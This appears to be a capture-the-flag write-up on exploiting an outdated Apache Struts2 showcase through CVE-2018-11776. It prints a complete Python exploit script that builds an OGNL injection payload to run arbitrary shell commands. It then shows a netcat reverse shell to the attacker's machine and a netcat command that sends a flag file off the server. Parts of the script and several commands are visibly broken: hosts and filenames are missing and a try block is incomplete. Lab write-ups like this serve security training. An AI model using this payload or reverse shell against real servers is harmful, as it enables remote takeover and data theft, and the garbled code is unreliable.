It’s just an outdated misconfigured Apache Struts.

Application Overview

Visiting our application at http:// we seem to get a showcase for Apache Struts2.

Struts2 Showcase

Figure 1 - Struts2 Showcase

I have no knowledge about Struts, as well as it seems the page contains the default examples. Let’s try to pwn it without going into the detail how Struts actually works…

Searching for CVE’s

Opening we are greeted with some red boxes right away. CVE-2018-11776 looks pretty nice, it has a CVSS score of 9.3 and was published only a few months ago. It requires the precondition that alwaysSelectFullNamespace to be set to true as described in the announcement blog post, and we do not know the version of Struts greeting us. But this simply means our success is not guaranteed, but still possible.

There are multiple exploits linked in I just went with the first one which is a simple python script:

# -*- coding: utf-8 -*-

# hook-s3c (, @hook_s3c on twitter

import sys
import urllib
import urllib2
import httplib

def exploit(host,cmd):
    print "[Execute]: {}".format(cmd)

    ognl_payload = "${"
    ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)."
    ognl_payload += "(#cmd='{}').".format(cmd)
    ognl_payload += "(#iswin=(@java.lang.System@getProperty('').toLowerCase().contains('win')))."
    ognl_payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))."
    ognl_payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    ognl_payload += "(#p.redirectErrorStream(true))."
    ognl_payload += "(#process=#p.start())."
    ognl_payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    ognl_payload += "(,#ros))."
    ognl_payload += "(#ros.flush())"
    ognl_payload += "}"

    if not ":" in host:
        host = "{}:8080".format(host)

    # encode the payload
    ognl_payload_encoded = urllib.quote_plus(ognl_payload)

    # further encoding
    url = "http://{}/{}/help.action".format(host, ognl_payload_encoded.replace("+","%20").replace(" ", "%20").replace("%2F","/"))

    print "[Url]: {}\n\n\n".format(url)

        request = urllib2.Request(url)
        response = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        response = e.partial
    print response

if len(sys.argv) < 3:
    sys.exit('Usage: %s <host:port> <cmd>' % sys.argv[0])

I copied the script into Let’s try out if the exploit is working on our target:

$ ./ "ls"
[Execute]: ls


The output looks pretty nice. We verified the exploit is working, let us simplify our life and build a reverse shell to poke around on the server in an interactive manner.

A simple reverse shell

To do this we use a simple reverse shell using netcat. It requires tools found on any typical Linux system and is therefore pretty easy to invoke.

On our system, we open a listening port to which our target can connect to:

$ nc -lvp 1234

On the target, we need to start the reverse shell which connects back to us using netcat as well. After connecting, it starts /bin/sh on the remote host and links stdin/stdout to the TCP connection, which allows us to execute shell commands remotely:

$ ./ "nc 1234 -e /bin/sh"

After connecting, we can try to find the flag. In our case find / -name "*hearts*" proved successful, and we were able to extract a valid flag:

$ find / -name "*hearts*"
$ md5sum /usr/local/tomcat/tmp/10_of_hearts
38b8c45772c8d254144d4e4f597bc81a  /usr/local/tomcat/tmp/10_of_hearts

I also extracted the flag found on the server, just for fun. Now we send /usr/local/tomcat/tmp/10_of_hearts to our system using netcat:

$ nc -lvp 1234 > 10_of_hearts.png &
$ ./ "nc 1234 < /usr/local/tomcat/tmp/10_of_hearts"



Figure 2 - Retrieved 10_of_hearts.png